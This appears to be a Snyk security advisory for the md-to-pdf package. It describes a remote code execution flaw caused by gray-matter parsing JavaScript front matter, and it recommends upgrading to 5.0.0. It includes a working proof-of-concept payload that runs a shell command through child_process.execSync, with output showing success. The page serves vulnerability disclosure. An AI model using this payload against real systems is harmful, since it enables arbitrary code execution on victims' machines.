Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade md-to-pdf
to version 5.0.0 or higher.
md-to-pdf is a CLI tool for converting Markdown files to PDF.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.
//Before running poc.js:
$ cat /tmp/RCE.txt
cat: /tmp/RCE.txt: No such file or directory
//After running poc.js
$ node poc.js
$ cat /tmp/RCE.txt
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
poc.js:
const { mdToPdf } = require('md-to-pdf');
var payload = '---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE';
(async () => { await mdToPdf({ content: payload }, { dest: './output.pdf' }); })();